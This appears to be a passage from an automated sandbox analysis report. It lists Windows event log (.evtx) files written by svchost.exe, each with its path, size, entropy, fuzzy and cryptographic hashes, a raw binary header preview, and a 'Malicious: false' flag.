Preview:	ElfChnk.p...............p..................../...1..V......................................................................H...................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................m..............................%................ ..................&............0......................*......p..........T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-HelloForBusiness%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.0631557320109892
Encrypted:	false
SSDEEP:	384:xhYCAKRuKIYKxkKiCKVIAK8sL4K5VKjPKwnKZ/K50K8/0KXAKuWKSlK+NK8t3KlZ:x1T4hGvj
MD5:	86AEA3A9CA3E5909FD44812754E52BD6
SHA1:	F79B583F83F118AC724A5A4206FC439B88BB8C65
SHA-256:	2AB21F158F9FFA0A375B2ABBD58880A732FABBC436246D40A68DD88D324428C9
SHA-512:	17796DAA6BCE3C6B7EBACD2A683D085AB08C7701DB5FF91DC2D6531E9CC23FCFC52650A6CD02D8B54D4E8C8D5B59DB1688E18571587E0431E4AA914086BE26F5
Malicious:	false
Preview:	ElfChnk.........b...............b...............0...o5@r.....................................................................2..................V.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.............................................................../.......................**............... .$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.4467272005363894
Encrypted:	false
SSDEEP:	384:EEhFiDhKxDmqIDrfDYEDdDDDbDOD2DSD+DtDFDxDlDUDEDoDADeDuDx4DWDXDjD6:JzSKEqsMuy6TN
MD5:	155681C222D825199B738E8DEC707DC8
SHA1:	704C800E7313F77A218203554E1428DF2819BC34
SHA-256:	1505E543085CB6AA30119F10DF11AC8CE061DB0CAC6D44A640E711F96750C4BF
SHA-512:	ADDDE8E26D330EAA13F993D17FF4A6DE7F4120E5B36205EB69FC999B0462B21FD189317EFD1002618551EE24E5C753A09EB34955E8CF1A8E2A22D27516BAB720
Malicious:	false
Preview:	ElfChnk.........L...............L...........x.......ZZO.........................................................................................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................=............................................y..................................**...............v?..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.156155224835584
Encrypted:	false
SSDEEP:	384:MhMLzI9ozTxzFEz3zLzWztCzizQzzz5zqfzDz5z1zkzSz9zEzWz+zQzqbzUTz3zE:Mmw9g3LU
MD5:	F22AC858C2ACC96E8F189E43FFE46FBD
SHA1:	540B8276921D37FCFFDA3FC7BCFAE1D99A85433B
SHA-256:	771A6E4098CB30081338F06DD7C0B54248C133F9B7B6849FDADDBD6E6FD5BCE9
SHA-512:	B4CF3C51B9FB236207B19FE697CEF6E402C6C903E7570B3938F529E5438F96E230463B9A9B17784A98E580E2B18AA9626E96AA83F705D506AF9C2A0432F0F7D5
Malicious:	false
Preview:	ElfChnk.........6...............6........... o...p..k.?........................................................................x................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......E.......................n.......#...........................................~i..................................**..............j...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.9197999988543422
Encrypted:	false
SSDEEP:	384:ehqID7I26vIxIPIttIo0IPrI5IMILIjI7I1IIIfrIBBLIgITI:ecx
MD5:	6C3F290FC62CFA9C240AEE8DB1DBA277
SHA1:	CFACCF81F3AA31E8DE85CEAFDAA55AA90FA18BEC
SHA-256:	7841FBB35636229AFB0389965D3DDBD0B7DF4858F1DA8A8FF434830DB8B133D6
SHA-512:	D2C60875EFADB1F3421CDC095B00E32419C0266CB4F58B17AF09A82AAA20EB488C757BA07E7562A033B84A37B3E035C405200BFB29330F79CA565FF21F5EDA88
Malicious:	false
Preview:	ElfChnk.K.......L.......K.......L...........x...86.....U......................................................................+.................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..x...K.........tQ..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-LiveId%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	5.718426658668259
Encrypted:	false
SSDEEP:	384:Thka5Ka5WsR9o2KbzyzIz7a5NsR9o2KbzyzIzia5zzuzNz0zxzuewKWMK/2a55wt:Tdqlt94xODljQdM
MD5:	8630011707C7BFBCECC0A9430637802E
SHA1:	22247A5B6A4C01883BB14E0BD4575A3553F945CB
SHA-256:	227057F9899098B21709D53114E9DECFFCD28207BFFA178AD6B1E32F9C63EDDF
SHA-512:	972629871B28EA6D01B8762B28378F8348E592BD465FE7FD1CF6AB5BD62157230AD3BB729F6290F6EDA950AB20598110676D902756E40BA3067ED37831855076
Malicious:	false
Preview:	ElfChnk.%......./.......%......./...........(l...n.........................................................................b\.;................ .......................H...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&........................6..........**..P...%.......'wu~..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9963080376858662
Encrypted:	false
SSDEEP:	384:l7h1hM7MpMEaMWFMu/Ma2M+AMmGM1cMNF3Mg9Ml7MABMczM0cMKhMLaMA0MJvMZy:l7eJw
MD5:	A51AFE78FA4481FA05EDC1133C92B1D8
SHA1:	5BA44E7A99EE615E323696742DA6B930E9FF6198
SHA-256:	44C1977D16383DF6B1FFF8164F319DFD99092A124ABA7C7280D74A6BB8AD2094
SHA-512:	792E5E8F5540DCA4B7F003C1043DCBC3E0EC3F23EC4A7B0FA84357F6ABDFD84122C124DBEA2B61D3B5CEED79A3E158DBE95DFCDB20EEAC433D9CDC29C3328F22
Malicious:	false
Preview:	ElfChnk......................................)..0-....\.....................................................................\|..........................................>...=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................................................................)..................................**..............c...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.076996627399968
Encrypted:	false
SSDEEP:	384:Ihk1EL1I1Vh1C1D161f1f181L1tY1VGm1Q1L1p1VG1U1Z1s1VA141c1Vc1q1tS12:IBjdjP0cs6N
MD5:	A8ADBDC2B39B55444B2C844F7D81EBDE
SHA1:	F97F40E314C8A2A39953A28CB72C9270D3073418
SHA-256:	93CF0EF4C121FCBB18A8A6DA5912415AF1113816BE6A8F9B86BE6A2243408E09
SHA-512:	922D165CBE871A393D58DAABABE7D09557E242BF73C2C473C29CCB0FB3277B8119911EFF51B12238D23B613AD9C15DAB163C9757BC9006D768B2345F53436E7B
Malicious:	false
Preview:	ElfChnk.........................................X...Y}.......................................................................(.[................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................A.......................................................*..............5.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	83408
Entropy (8bit):	3.449834284741231
Encrypted:	false
SSDEEP:	384:hAILaGINILIRINIZu2IK4IoGiIqIyI+IfIaIzIbNINImIgIsIJvHIsICICvhDIEy:hGzZvZxGp9ez
MD5:	F238409A4727E4A63CDACB2BCCF9E0D6
SHA1:	4689656E1F7C804217C01646F631825AA9EA868E
SHA-256:	0343DCA8A2B01DA8660318479790E3CA4607B1BF72B6192BB0ED8F3D153DB622
SHA-512:	2D9F233105ED3C30D951685DA9DB09581DA4BD8D34B2960EC4ED56525A96931503A8CB1FEE714E83F505A50D4C9B933C8DF2C4CD0B90952A194DAC35C2F1D670
Malicious:	false
Preview:	ElfChnk.T...............T...................x...h....c0^................................................................................................................>...=...........................................................................................................................f...............?...........................m...................M...F............................................................n..................1................................a.................................**......z.......Kz[.t..............a..............................................................,.......D.....!........... ....@Kz[.t...@..^<.....fX............z....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.N.t.f.s..z.?..nM.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.N.t.f.s./.O.p.e.r.a.t.i.o.n.a.l........n..&.......6p.\.#i....>..........2........A..=...>.../....=.......V.o.l.u.m.e.C.o.r.r.e.l.a.t.i.o.n.I.d.......A..7...>...)....=.......V.o.l.u.m.e.N.a.m.e.L.e.n.g.t.h....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4WHC.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.801423310886069
Encrypted:	false
SSDEEP:	384:dh6iIvcImIvITIQIoIoI3IEIMIoIBIDIcIwISIEzIJVI:doxJS
MD5:	9EAAD7982F42DFF47B8EF784DD2EE1CC
SHA1:	542608204AF6B709B06807E9466F7543C0F08818
SHA-256:	5468A48533B56DE3E8C820B870493154775356CE3913AD70EC51E0D1D0D1A366
SHA-512:	036BFABE2AC4AD623B5C439349938C0EA254BFCDAB9096A53253189D4F632A8A8A1DD00644A4573AF971AAEA6831317BFD663E35363DD870684CDD4C0A51884C
Malicious:	false
Preview:	ElfChnk.....................................X ...#..\.N......................................................................12.............................................=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................~ ..................................**..............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.996272372482282
Encrypted:	false
SSDEEP:	768:e4u1n8zfFFU1x4Dk13xIb13xIb13xIt13xIi13xI513xIU13xI013xIF13xIH137:M
MD5:	4F68D6AF0C7DB9E98F8B592C9A07811C
SHA1:	9F519109344DD57150F16B540AAA417483EF44FE
SHA-256:	44177E6F71E240EBFE9CE63FEFBF5D46A01979E09C0C14F65F1D19AE8E97B8EE
SHA-512:	E1D5097BCD572F3DBAF4024FAEA76BAD3061CD2E05017701B578020327969C2BD3F725FBE8BFE4C40DC66336CE1371E7AB037058603B02449366DAE4EDE8DE69
Malicious:	false
Preview:	ElfChnk.....................................(...8...S......................................................................V..C................(.......................P...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................ ..................................................N...................................**...............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	70976
Entropy (8bit):	3.8470318955927745
Encrypted:	false
SSDEEP:	768:ssknssknhutDBjV8k+u7xQUtHpoVWWx07SZRcZv76NcRUjGHzLKvc90XKcZv76NI:GGhutDBjV8k+u7xRtHpoVW
MD5:	BA854A39A100840BEC17D5635D46EB90
SHA1:	2A75512B8FF36C1DB10425D8B79652E7B52AC5AC
SHA-256:	D7404633BD9421DA38C46A6A5C71C75149B1A7F7EE9E7487DF86BF827ECFE1B3
SHA-512:	5CD8EE2A1894EF40410B79697BCDC572344AFFD78A8F04BC8E3EB628C982623488892B9E8BE6E05BCD7CAE970397B56CD27C17F62088B3B4A80F04DD25A08D67
Malicious:	false
Preview:	ElfChnk.................O.......W...............@.....'.........................................................................................0...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..`...O.........s.t.............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PushNotification-Platform%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.734922688384225
Encrypted:	false
SSDEEP:	384:Xh+rKvKaKNP6WKkvKWKlpKuyK7YKmKaKHxqKWyK11KUIKqKq9KLjK5yKoKfKYKnq:XkN2cTOsKFxFG/uNrjzDbRt
MD5:	2610214E00C1A9796BD39AE7419F10F6
SHA1:	FE4FB1ECFEE84FD91650B6BAE911334B03B52236
SHA-256:	940D8BD36FEC5DE7370746796A31915B17D097C4A7E140F2C340A89F9B9AF275
SHA-512:	2B4E4C79406CA10844BE011915A2B4209D820215E5D094953A460AF1D63A0DD53A56FCD69916F3AFC60B1254E93F3EFA20CB0CC1AA2D2D3DC4C184AF3555DC70
Malicious:	false
Preview:	ElfChnk..............................................[..........................................................................................l...........................=...........................................................................................................................f...............?...........................m...................M...F.......................E................................M..&...g`..g5......................o]...........X...Z..GP...............s......od......_i..**..P............%.o..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7590316238843728
Encrypted:	false
SSDEEP:	384:IhP8o8Z85848V8M8g8D8R8E8T8h8p8TtP8sU8:Ic
MD5:	B074238315662886E2BD70106D08A747
SHA1:	5ADA158D19401565E76349FCA97489E9FB9BFA36
SHA-256:	53770508DCDA0199A75458B5A10DC8FD2E49A4CFD0FC001C16D56F3B567AB71C
SHA-512:	9D35DC04CCE95541551254BCBB00B0E2E0860D9B6F69D40FBC829DA31FC3AC43690A049A432BA4D43315B80675143A6AA02C57484E7903845010A5AD9EC92D6D
Malicious:	false
Preview:	ElfChnk.........................................0!....H.......................................................................j........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......................................................................................**..(.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.751147757884054
Encrypted:	false
SSDEEP:	1536:GvXhnUyS+z1VV18o838c8bUc8cVVsz8VX8SoX8aA8cmtpjAiVB18dwE4vjcYoMj1:GvXBnS
MD5:	BDEFE3A619FE0B174877DE818F797486
SHA1:	8BCDF6FA7B1B136F7624FBEC89534E02030FEC32
SHA-256:	41F2FE7EC15A8857543C317B2BFAAC3C5F89EFBA0123667B8A0DD13AC35D5DDD
SHA-512:	412FF39A8F3E265E3483CAE77D3044B74A87F8491A3BC7FCD1396F2E202D42589F0230A31F1C6E12FE39C4D225F1EC111BDCF59AAA9A33092D01A637B9170E89
Malicious:	false
Preview:	ElfChnk.........%...............%............E..`G..)t.^.....................................................................E..................v...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...................................................&B..........O.......................**..............g5...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.3069197485541766
Encrypted:	false
SSDEEP:	768:S0VsLY/Z5aFka2aKazzabCafama5Sa0ra6rzaJcavkao9O0apPaQOan6qa6IvV1:ycEu
MD5:	E6E4C860CE7DD1BB499D6A082B461B90
SHA1:	11330861B23B1D29D777D9BD10619A07B6A6A9C0
SHA-256:	C27431D9C64F5C9D323E2B4ED5F44781969B34F30DC4280296A329DCD6509D44
SHA-512:	7393A0FF290BB3DB07E8BB9A9FA7B666CD8B686CBDAA3FED2EBD704D6E88A4D5768D104BD768E6AA533C42588C661A863E11ED9146ABD7386A2A9B4F84583406
Malicious:	false
Preview:	ElfChnk.........;...............;............r..@t...H......................................................................p"..................Q...........................=...........................................................a...............................................................f...............?...2...........................................M...F......................................&........................................................................l..............]...................*.............._.............X..&.......X...],T.'tB..E........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	127536
Entropy (8bit):	4.001334382986197
Encrypted:	false
SSDEEP:	768:ah0w+qLpBVi7CPME79nCxkSq+h0w+qLpBVi7CPME79nCxkSqOk:c0w+qtBViz0w+qtBVidk
MD5:	A75E1E5D8740D17E8BF839E5FC83264F
SHA1:	B39EE20887DA1AB2162E044AE1959D902C37CC2F
SHA-256:	5F956C972C502225FC76F52CFE56086E02A255F72850BE979E9A294F64B88F42
SHA-512:	34560D2FDDDABAD35397C13B9796B97529F38B0B430CC8F6DE1076869FA6B6CACB8ED7F7DEFFAAE05367369B14A7A40AC6140DD4D48C4AE022B0DBB3DD0D6EC5
Malicious:	false
Preview:	ElfChnk.........#...............#........... ..............................................................................\.f................T.......................\|...=...........................................................................................................................f...............?...........................m...................M...F.......................................-...'...............&.......................................................................................*.. ............#................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SettingSync%4Debug.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.2909571978750325
Encrypted:	false
SSDEEP:	384:Ny2/hDGCyCkCzCRCFCNClCuC6CoC9rC6CdCsCvCkxCkC5CCCWCxCIC/CbCFC5CkG:Ny2/dm1sR
MD5:	B0BF4D9EC91ABBDA5D328631B125A5C0
SHA1:	E672D69127AE7C1A51046ADAA911871EC0C10ABB
SHA-256:	8DBE6F5B80B3D973BBF1177BCCAA690B9F90FC99DC358B7DE66175317C733501
SHA-512:	3132E1FCC5C8F88BD974465EA1E644CA89C2D9E041E49F8A1F48B9ACB3376F0A1042F5CB6FDFC6BE2934C4483312C35539D64DB25B892388604F9F637074BCBD
Malicious:	false
Preview:	ElfChnk.U.......~.......U.......~....................}/.....................................................................@..................F.......................n...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................v..................................**..0...U.........Df..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4AppDefaults.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.488768580471203
Encrypted:	false
SSDEEP:	1536:Q9YcieRoUlafdbkKKMAQ2SomvXCQv/2ketsvQPh8YzSJoh2VgPIEF6uq9GgCVRlW:Q9YcieRoUlaFbkKKMAQ2SomvXCM/2keU
MD5:	E3FB1708C64D250E4D801AFB8688DF35
SHA1:	8B889F0358683733257411E451A86E3A1D42159D
SHA-256:	0B62FDD9A57B1809D79561AE64BE30DD7430815D6954A5E3DF90E29E1B2E6C72
SHA-512:	2F5CC514B180A39E5961452A594FE5384A6369CBCB7A1CEBAC37948770A6CB999A2E2F26A32240058D5D7A335904DAF40C88F1C096D8F85907F23E9B32E79ABE
Malicious:	false
Preview:	ElfChnk.........$...............$.....................w.........................................................................................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...................................................V...................................**................o...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.494514087283264
Encrypted:	false
SSDEEP:	1536:NcRFkL1TWX0gkB/J7oasEfyk2/vKlqRi/PgTZSXwyvy8fJpfrAW+Cr6SXlUr20GF:NcRFkL1TWX0gkB/J7oasEfyk2/vKlqkd
MD5:	91E223DFCAF55A7CB4A1E7DAB970489E
SHA1:	AAA4DDA7FE0F4AA56A0D29A294489A69CC182029
SHA-256:	87BB1FB8358676FBD066859447D2DF2BC5EDC7FFA68478816CA79361193D0997
SHA-512:	B052F6C6DD960C66D2B639CBEBCB20BCA73108BB1EA384A40C0CA522E615454D2107A9E7E99192A88A5F52C7E931D7140B818DA367D4AF32E5C3C7EDE29E331A
Malicious:	false
